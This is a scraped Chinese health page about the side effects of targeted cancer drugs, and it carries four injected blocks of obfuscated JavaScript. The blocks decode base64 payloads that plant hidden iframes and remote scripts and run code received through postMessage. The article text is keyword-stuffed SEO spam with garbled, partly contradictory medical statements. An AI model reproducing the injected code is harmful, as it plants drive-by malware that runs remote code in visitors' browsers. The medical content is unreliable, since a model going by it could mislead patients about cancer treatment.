eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
靶向药副作用_吃靶向药胸水什么时候能消

2021年12月15日 拜克 阅读(148)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

普通药物进入体内后,只有一小部分会对患部起作用。治疗的同时,容易引起毒的副作用。药物的出现给许多病人带来了希望,正确地定位在病变部分,在释放有效成分的同时,药的副作用也很少,给癌症患者带来了希望。

靶向药是被赋予了能力的药物和制剂,可以运送被指定为药物的身体能力基准的病变部位。因为目标部位的药物浓度比较高,所以可以提高药效,抑制副作用,减少细胞和正常组织的损伤。这个和靶向药相比,是化学疗法的优点。

药的种类很多,靶向药的治疗成为近年来临床癌治疗的重要方法。

常见的非小细胞肺癌、乳腺癌、肠胃肿瘤、肾癌、黑色素瘤、甲状腺癌、血液肿瘤等疾病可以用药治疗。

靶向药物可以精确消灭癌细胞。靶向药不害怕化疗药,靶向药的副作用也不能忽视。

吃药的话,有毒的副作用。

1、皮肤毒性

常见的靶向由于药物的副作用,主要表现为指甲的变化、口腔溃疡、甲沟炎等。因为症状轻,不需要特别的处理,吃靶向药胸水什么时候能消,但是严重的情况会影响患者的生活质量。比如治疗黑色毒瘤达拉非尼,导致比较严重的皮肤毒性。

2、过敏反应

这种症状在单克隆抗体靶向药物中常见,一般在患者初期使用靶向药就会出现。但是,这个副作用如果停止药,吃靶向药胸水什么时候能消,减少药的摄取量的话就会缓和,所以不用担心。

3、心脏毒性

靶向药还引发了一系列心血管毒性,一般出现心肌缺血、心肌梗塞、高血压等症状,原本在心脏病患者服用靶向药时,需要特别注意。

4、消化道毒性

最多的是腹泻和呕吐。严重的人会出现脱水和恶心的症状。一部分患者靶向吃药后也会出现腹痛、腹痛、食欲不振等消化道反应。

5、肺部毒性

肺的毒性主要包括急性肺炎、肺出血、肺动脉高压、咳嗽等。最具代表性的靶向药物是特罗凯,易瑞沙,使用后可能会引起肺炎、呼吸困难、咳嗽等症状。

以上副作用仅在临床上有副作用靶向药副作用的可能性,当然由于人体的差异性,副作用、副作用的程度也不同。如果药向癌细胞方向消灭的话,当然所有的癌症患者都能不能用药,但是医生首先要根据癌症的种类来划分患者是否能用药。

1.首先进行基因检查

在使用靶向药物之前,我们必须进行基因测试,确定患者的癌症靶点,吃靶向药胸水什么时候能消,然后选择相应的靶向药物,使药物进入人体后,能够准确瞄准靶点,释放药物,阻断肿瘤细胞的生长和增殖,使其死亡。如果没有找到相应的目标,则靶向的影响将大大降低。

2.相应的靶向药物

以肺癌为例。临床上,肺癌主要分为非小细胞肺癌和小细胞肺癌。人体表皮生长因子受体基因突变以非小细胞肺癌为主,且靶向效应明显。然而,对于没有这种基因突变的肺癌,不能使用这种靶向药物。

3.对于能够进行手术的患者,不建议使用靶向药物

靶向该药物是手术、放疗和化疗的替代品。如果患者明显可以接受手术或放疗和化疗,可以优先使用这些方法。不建议优先选择靶向药物。由于靶向具有一定的耐药性,如果在癌症早期使用靶向,存活时间可能会更短。

靶向该药物只会攻击具有特定信号分子的癌细胞,基本上不会影响正常细胞。此外,一般来说,靶向药物只针对一个信号分子,即使对于同一类型的癌症,由于靶向药副作用癌细胞带来的信号分子不同,因此使用的药物也会不同。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}